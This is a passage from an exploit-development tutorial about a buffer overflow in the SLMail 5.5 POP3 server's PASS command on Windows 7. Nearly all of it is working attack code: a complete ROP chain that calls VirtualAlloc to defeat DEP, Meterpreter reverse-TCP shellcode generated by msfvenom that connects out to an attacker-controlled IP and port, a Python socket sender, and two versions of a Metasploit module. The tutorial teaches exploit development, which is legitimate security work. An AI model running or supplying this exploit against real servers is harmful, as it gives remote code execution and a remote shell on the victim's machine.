                  0x5f42F7dc,       # PUSH ESP # INC ESI # ADD DWORD PTR DS:[EAX],EAX # POP ECX # MOV EAX,ESI # POP ESI # RETN 0x04
                  0x41414141,      # to pop esi
                  0x5f4011f2,        # RET
                  0x41414141,      # compensate retn 0x04
                  # Ptr to VirtualAlloc on EAX
                  0x5f418fac,         # POP EAX # RETN
                  0x5f49a1cc,        # PTR to kernel32.dll
                  0x5f488461,       # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x04
                  0x5f4011f2,        # RET
                  0x41414141,      # Compensate for the Retn 0x04
                  0x5f445803,       # POP EDI # RETN
                  0xffffff28,            # Offset to VirtualAlloc -0xd8
                  0x5f46e759,       # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
                  0x41414141,      # Filler to POP EDI
                  # Save the pointer to VirtualAlloc
                  0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
                  0x5f4011f2,        # RET
                  0x41414141,      # Compensate for the Retn 0x08
                  0x41414141,      # Compensate for the Retn 0x08
                  # returnTo (Address where VirtualAlloc returns: must be behind the rop_chain)
                  0x5f418fac,         # POP EAX # RETN
                  0xFFFFFEC0,      # Value to EAX (-0x140)
                  0x5f465969,       # NEG EAX # RETN
                  0x5f425151,       # PUSH ECX # INC EDX # POP EDI # RETN
                  0x5f46e759,       # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
                  0x41414141,      # Filler to POP EDI
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  # Save returnTo
                  0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
                  0x5f4011f2,        # RET
                  0x41414141,      # Compensate for the Retn 0x08
                  0x41414141,      # Compensate for the Retn 0x08
                  # lpAddress (Address where start the DEP disabled)
                  0x5f418fac,         # POP EAX # RETN
                  0xFFFFFDBE,     # Value to EAX (-578 bytes (0x242))
                  0x5f425151,       # PUSH ECX # INC EDX # POP EDI # RETN
                  0x5f46e759,       # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
                  0x41414141,      # Filler to POP EDI
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
                  0x5f4298a4,       # INC ECX # RETN
                  0x41414141,      # Compensate for the Retn 0x08
                  0x41414141,      # Compensate for the Retn 0x08
                  # dwSize (0x1FF)
                  0x5f418fac,         # POP EAX # RETN
                  0xFFFFFE01,      # Value to EAX (-0x1FF)
                  0x5f465969,       # NEG EAX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
                  0x5f4298a4,       # INC ECX # RETN
                  0x41414141,      # Compensate for the Retn 0x08
                  0x41414141,      # Compensate for the Retn 0x08
                  # flAllocationType (0x1000)
                  0x5f418fac,         # POP EAX # RETN
                  0xFFFFF001,      # -0xFFF  (-0x1000 contains null bytes)
                  0x5f465969,       # NEG EAX # RETN
                  0x5f4235b6,       # INC EAX # RETN (0xFFF + 1 = 0x1000)
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
                  0x5f4298a4,       # INC ECX # RETN
                  0x41414141,      # Compensate for the Retn 0x08
                  0x41414141,      # Compensate for the Retn 0x08
                  # flProtect (0x40)
                  0x5f418fac,         # POP EAX # RETN
                  0xFFFFFFC0,      # -0x40 
                  0x5f465969,       # NEG EAX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
                  0x5f4011f2,        # RET
                  0x41414141,      # Compensate for the Retn 0x08
                  0x41414141,      # Compensate for the Retn 0x08
                  # Make ESP point to VirtualAlloc pointer on stack and RET
                  0x5f418fac,         # POP EAX # RETN
                  0xFFFFFFEC,      # -0x14 (value to substract to ECX)
                  0x5f425151,       # PUSH ECX # INC EDX # POP EDI # RETN (move ecx to edi)
                  0x5f46e759,       # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (On eax is the pointer to VirtualAlloc)
                  0x41414141,      # Filler to POP EDI
                  0x5f452c0f,        # XCHG EAX,ESP # RETN
                ]
                return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.178 LPORT=6969 EXITFUNC=thread -b \x00\x0a\x0d -f c
# x86/shikata_ga_nai succeeded with size 347 (iteration=0)
shellcode = (
\xdb\xcf\xb8\xb3\x6a\x92\x42\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1
\x51\x31\x42\x17\x03\x42\x17\x83\x71\x6e\x70\xb7\x89\x87\xf6
\x38\x71\x58\x97\xb1\x94\x69\x97\xa6\xdd\xda\x27\xac\xb3\xd6
\xcc\xe0\x27\x6c\xa0\x2c\x48\xc5\x0f\x0b\x67\xd6\x3c\x6f\xe6
\x54\x3f\xbc\xc8\x65\xf0\xb1\x09\xa1\xed\x38\x5b\x7a\x79\xee
\x4b\x0f\x37\x33\xe0\x43\xd9\x33\x15\x13\xd8\x12\x88\x2f\x83
\xb4\x2b\xe3\xbf\xfc\x33\xe0\xfa\xb7\xc8\xd2\x71\x46\x18\x2b
\x79\xe5\x65\x83\x88\xF7\xa2\x24\x73\x82\xda\x56\x0e\x95\x19
\x24\xd4\x10\xb9\x8e\x9f\x83\x65\x2e\x73\x55\xee\x3c\x38\x11
\xa8\x20\xbf\xf6\xc3\x5d\x34\xf9\x03\xd4\x0e\xde\x87\xbc\xd5
\x7f\x9e\x18\xbb\x80\xc0\xc2\x64\x25\x8b\xef\x71\x54\xd6\x67
\xb5\x55\xe8\x77\xd1\xee\x9b\x45\x7e\x45\x33\xe6\xF7\x43\xc4
\x09\x22\x33\x5a\xf4\xcd\x44\x73\x33\x99\x14\xeb\x92\xa2\xfe
\xeb\x1b\x77\x50\xbb\xb3\x28\x11\x6b\x74\x99\xf9\x61\x7b\xc6
\x1a\x8a\x51\x6f\xb0\x71\x32\x50\xed\x38\x70\x38\xec\xba\x6f
\x80\x79\x5c\xe5\xe2\x2f\xF7\x92\x9b\x75\x83\x03\x63\xa0\xee
\x04\xef\x41\x0f\xca\x18\x23\x03\x3b\x27\xcb\xdb\xbc\x32\xcb
\xb1\xb8\x94\x9c\x2d\xc3\xc1\xeb\xf2\x3c\x24\x68\xf4\xc3\xb9
\x86\x8f\xf2\x2f\x19\xe7\xfa\xbf\x99\xF7\xac\xd5\x99\x9f\x08
\x8e\xc9\xba\x56\x1b\x7e\x17\xc3\xa4\xd7\xc4\x44\xcd\xd5\x33
\xa2\x52\x25\x16\xb0\x95\xd9\xe6\x74\x64\x19\x3f\xbd\x12\x74
\xfc\xfa\x3d\x9b\x28\xF7\xd5\x02\xb9\xba\xbb\xb4\x14\xf8\xc5
\x36\x9c\x81\x31\x26\xd5\x84\x7e\xe0\x06\xf5\xef\x85\x28\xaa
\x10\x8c
)
 
#0x5f4011f2 : # RET                          [SLMFC.DLL]
EIP=struct.pack(<I,0x5f4011f2)
move_esp = \x81\xc4\xc0\xfb\xff\xff # add esp,-440h
jmp_back = \xe9\x7d\xfc\xff\xff # jmp $-37E

eip_offset = 4654
shellcode_offset = 4092

shellcode_size = 562
buff_size = 6000

rop_chain = create_rop_chain()

buffer = 'A' * shellcode_offset
buffer += move_esp
buffer += shellcode
buffer += 'B' * (eip_offset - len(buffer)) # Here is where the real shellcode goes
buffer += EIP
buffer += rop_chain
buffer += jmp_back
buffer += 'C' * (buff_size - len(buffer))

print rop_chain length: +str(len(rop_chain))

HOST = '127.0.0.1'
PORT = 110

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
print 'Received', repr(data)
s.send('USER username'+'\r\n')
data = s.recv(1024)
print 'Received', repr(data)
s.send('PASS ' + buffer + '\r\n')
s.close()

We configure exploit/handler on msfconsole to get the session and execute the exploit again:

Here is the result of the exploit execution on the Windows 7 SP1 64bit box:

PWNED!!!! Yet again.

 

The Metasploit version

Now we are going to port our exploit to the Metasploit Framework. As a base, we are going to use the exploit skeleton from the Windows XP exploit we developed before.

Here is the exploit modified:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'SLMail 5.5 Pop3 Pass Exploit Module',
      'Description'   => 'This module exploits a buffer overflow when sending password to pop3 server',
      'Author'        => 'Nacho Sorribas',
      'Payload'       =>
        {
          'Space' => 556,
          'BadChars' => \x00\x0a\x0d,
        },
      'Targets'       =>
        [
          ['Windows 7 SP1 64bit Spanish',
            {
              'Ret' => 0x5f4011f2, #0x5f4011f2 : # RET                      [SLMFC.DLL]
              'OffSet' => 4654,
              'ShellCode_OffSet' => 4092,
            }
          ]
        ],
      'Platform'      => 'win',
      'DefaultTarget' => 0,
      'Privileged' => false ))

    register_options( [ Opt::RPORT(110)], self.class)

  end

  def create_rop_chain()

    # rop chain generated by Nacho Sorribas
    rop_gadgets = [
      # Put a valid pointer on EAX
      0x5f48c086,   # MOV EAX,ECX # RETN
      #--- Save ESP into ECX
      0x5f42F7dc,  
      0x41414141,  # to pop esi
      0x5f4011f2,    # RET
      0x41414141,  # compensate retn 0x04
      # Ptr to VirtualAlloc on EAX
      0x5f418fac,     # POP EAX # RETN
      0x5f49a1cc,    # PTR to kernel32.dll
      0x5f488461,   # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x04
      0x5f4011f2,    # RET
      0x41414141,  # Compensate for the Retn 0x04
      0x5f445803,   # POP EDI # RETN
      0xffffff28,        # Offset to VirtualAlloc -0xd8
      0x5f46e759,   # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
      0x41414141,  # Filler to POP EDI
      # Save the pointer to VirtualAlloc
      0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
      0x5f4011f2,    # RET
      0x41414141,  # Compensate for the Retn 0x08
      0x41414141,  # Compensate for the Retn 0x08
      # returnTo (Address where VirtualAlloc returns: must be behind the rop_chain)
      0x5f418fac,     # POP EAX # RETN
      0xFFFFFEC0,  # Value to EAX (-0x140)
      0x5f465969,   # NEG EAX # RETN
      0x5f425151,   # PUSH ECX # INC EDX # POP EDI # RETN
      0x5f46e759,   # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
      0x41414141,  # Filler to POP EDI
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      # Save returnTo
      0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
      0x5f4011f2,    # RET
      0x41414141,  # Compensate for the Retn 0x08
      0x41414141,  # Compensate for the Retn 0x08
      # lpAddress (Address where start the DEP disabled)
      0x5f418fac,     # POP EAX # RETN
      0xFFFFFDBE, # Value to EAX (-578 bytes (0x242))
      0x5f425151,   # PUSH ECX # INC EDX # POP EDI # RETN
      0x5f46e759,   # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
      0x41414141,  # Filler to POP EDI
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
      0x5f4298a4,   # INC ECX # RETN
      0x41414141,  # Compensate for the Retn 0x08
      0x41414141,  # Compensate for the Retn 0x08
      # dwSize (0x1FF)
      0x5f418fac,     # POP EAX # RETN
      0xFFFFFE01,  # Value to EAX (-0x1FF)
      0x5f465969,   # NEG EAX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
      0x5f4298a4,   # INC ECX # RETN
      0x41414141,  # Compensate for the Retn 0x08
      0x41414141,  # Compensate for the Retn 0x08
      # flAllocationType (0x1000)
      0x5f418fac,     # POP EAX # RETN
      0xFFFFF001,  # -0xFFF  (-0x1000 contains null bytes)
      0x5f465969,   # NEG EAX # RETN
      0x5f4235b6,   # INC EAX # RETN (0xFFF + 1 = 0x1000)
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
      0x5f4298a4,   # INC ECX # RETN
      0x41414141,  # Compensate for the Retn 0x08
      0x41414141,  # Compensate for the Retn 0x08
      # flProtect (0x40)
      0x5f418fac,     # POP EAX # RETN
      0xFFFFFFC0,  # -0x40 
      0x5f465969,   # NEG EAX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
      0x5f4011f2,    # RET
      0x41414141,  # Compensate for the Retn 0x08
      0x41414141,  # Compensate for the Retn 0x08
      # Make ESP point to VirtualAlloc pointer on stack and RET
      0x5f418fac,     # POP EAX # RETN
      0xFFFFFFEC,  # -0x14 (value to substract to ECX)
      0x5f425151,   # PUSH ECX # INC EDX # POP EDI # RETN (move ecx to edi)
      0x5f46e759,   # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (eax -> ptr to VirtualAlloc)
      0x41414141,  # Filler to POP EDI
      0x5f452c0f,    # XCHG EAX,ESP # RETN
    ].flatten.pack(V*)

    return rop_gadgets

  end

  # Connect to port, send the payload, handle it, disconnect
  def exploit

    size = 6000 # buffer size
    move_esp = \x81\xc4\xc0\xfb\xff\xff # add esp,-440h
    jmp_back = \xe9\x7d\xfc\xff\xff # jmp $-37E

    buffer = A * target['ShellCode_OffSet'] # Padding
    buffer << move_esp
    buffer << payload.encoded
    buffer << B * (target['OffSet']-buffer.length)
    buffer << [target.ret].pack('V') # EIP
    buffer << create_rop_chain()
    buffer << jmp_back
    buffer << C * (size-buffer.length) # Padding to buffer size

    request = PASS +buffer+\r\n
    connect()
    sock.get
    sock.put(USER username \r\n)
    sock.get
    print_status(Sending evil buffer...)
    sock.put(request)
    handler()
    disconnect()
  end
end

Save it as /root/.msf4/modules/exploits/windows/pop3/slmail_pass_win7.rb and launch msfconsole. Configure the module and run the exploit command:

As we can see, the exploit is sending the stage but the Meterpreter session never comes. The problem is the way Metasploit makes the payload.

In this case we said that we have 556 bytes for the payload (Space variable in the payload block) and what Metasploit does is to generate the payload (around 347 bytes in this case) and fill the remaining bytes with NOPs until the final payload size is 556 bytes.

In the Python exploit we used “B”s as padding and the exploit was working fine.

Adding the parameter DisableNops => True to the payload block of the exploit changes this behavior from Metasploit and the payload just fits its own size.

Once this is added to the exploit, here is the final version:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp
 
 def initialize(info = {})
    super(update_info(info,
      'Name'          => 'SLMail 5.5 Pop3 Pass Exploit Module',
      'Description'   => 'This module exploits a buffer overflow when sending password to pop3 server',
      'Author'        => 'Nacho Sorribas',
      'Payload'       =>
        {
          'Space' => 556,
          'BadChars' => \x00\x0a\x0d,
          'DisableNops' => 'True',
        },
      'Targets'       =>
        [
          ['Windows 7 SP1 64bit Spanish',
            {
              'Ret' => 0x5f4011f2, #0x5f4011f2 : # RET                      [SLMFC.DLL]
              'OffSet' => 4654,
              'ShellCode_OffSet' => 4092,
            }
          ]
        ],
      'Platform'      => 'win',
      'DefaultTarget' => 0,
      'Privileged' => false ))

    register_options( [ Opt::RPORT(110)], self.class)

  end

  def create_rop_chain()

    # rop chain generated by Nacho Sorribas
    rop_gadgets = [
      # Put a valid pointer on EAX
      0x5f48c086,   # MOV EAX,ECX # RETN
      #--- Save ESP into ECX
      0x5f42F7dc,  
      0x41414141,  # to pop esi
      0x5f4011f2,    # RET
      0x41414141,  # compensate retn 0x04
      # Ptr to VirtualAlloc on EAX
      0x5f418fac,     # POP EAX # RETN
      0x5f49a1cc,    # PTR to kernel32.dll
      0x5f488461,   # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x04
      0x5f4011f2,    # RET
      0x41414141,  # Compensate for the Retn 0x04
      0x5f445803,   # POP EDI # RETN
      0xffffff28,        # Offset to VirtualAlloc -0xd8
      0x5f46e759,   # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
      0x41414141,  # Filler to POP EDI
      # Save the pointer to VirtualAlloc
      0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
      0x5f4011f2,    # RET
      0x41414141,  # Compensate for the Retn 0x08
      0x41414141,  # Compensate for the Retn 0x08
      # returnTo (Address where VirtualAlloc returns: must be behind the rop_chain)
      0x5f418fac,     # POP EAX # RETN
      0xFFFFFEC0,  # Value to EAX (-0x140)
      0x5f465969,   # NEG EAX # RETN
      0x5f425151,   # PUSH ECX # INC EDX # POP EDI # RETN
      0x5f46e759,   # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
      0x41414141,  # Filler to POP EDI
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      # Save returnTo
      0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
      0x5f4011f2,    # RET
      0x41414141,  # Compensate for the Retn 0x08
      0x41414141,  # Compensate for the Retn 0x08
      # lpAddress (Address where start the DEP disabled)
      0x5f418fac,     # POP EAX # RETN
      0xFFFFFDBE, # Value to EAX (-578 bytes (0x242))
      0x5f425151,   # PUSH ECX # INC EDX # POP EDI # RETN
      0x5f46e759,   # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
      0x41414141,  # Filler to POP EDI
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
      0x5f4298a4,   # INC ECX # RETN
      0x41414141,  # Compensate for the Retn 0x08
      0x41414141,  # Compensate for the Retn 0x08
      # dwSize (0x1FF)
      0x5f418fac,     # POP EAX # RETN
      0xFFFFFE01,  # Value to EAX (-0x1FF)
      0x5f465969,   # NEG EAX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
      0x5f4298a4,   # INC ECX # RETN
      0x41414141,  # Compensate for the Retn 0x08
      0x41414141,  # Compensate for the Retn 0x08
      # flAllocationType (0x1000)
      0x5f418fac,     # POP EAX # RETN
      0xFFFFF001,  # -0xFFF  (-0x1000 contains null bytes)
      0x5f465969,   # NEG EAX # RETN
      0x5f4235b6,   # INC EAX # RETN (0xFFF + 1 = 0x1000)
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
      0x5f4298a4,   # INC ECX # RETN
      0x41414141,  # Compensate for the Retn 0x08
      0x41414141,  # Compensate for the Retn 0x08
      # flProtect (0x40)
      0x5f418fac,     # POP EAX # RETN
      0xFFFFFFC0,  # -0x40 
      0x5f465969,   # NEG EAX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f4298a4,   # INC ECX # RETN
      0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
      0x5f4011f2,    # RET
      0x41414141,  # Compensate for the Retn 0x08
      0x41414141,  # Compensate for the Retn 0x08
      # Make ESP point to VirtualAlloc pointer on stack and RET
      0x5f418fac,     # POP EAX # RETN
      0xFFFFFFEC,  # -0x14 (value to substract to ECX)
      0x5f425151,   # PUSH ECX # INC EDX # POP EDI # RETN (move ecx to edi)
      0x5f46e759,   # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (eax -> ptr to VirtualAlloc)
      0x41414141,  # Filler to POP EDI
      0x5f452c0f,    # XCHG EAX,ESP # RETN
    ].flatten.pack(V*)

    return rop_gadgets

  end

  # Connect to port, send the payload, handle it, disconnect
  def exploit

    size = 6000 # buffer size
    move_esp = \x81\xc4\xc0\xfb\xff\xff # add esp,-440h
    jmp_back = \xe9\x7d\xfc\xff\xff # jmp $-37E

    buffer = A * target['ShellCode_OffSet'] # Padding
    buffer << move_esp
    buffer << payload.encoded
    buffer << B * (target['OffSet']-buffer.length) # This fills the buffer till EIP
    buffer << [target.ret].pack('V') # EIP
    buffer << create_rop_chain()
    buffer << jmp_back
    buffer << C * (size-buffer.length) # Padding to buffer size

    request = PASS +buffer+\r\n
    connect()
    sock.get
    sock.put(USER username \r\n)
    sock.get
    print_status(Sending evil buffer...)
    sock.put(request)
    handler()
    disconnect()
  end
end

Once everything is changed in the exploit file, just reload the module and execute again:

Source:https://www.nccgroup.trust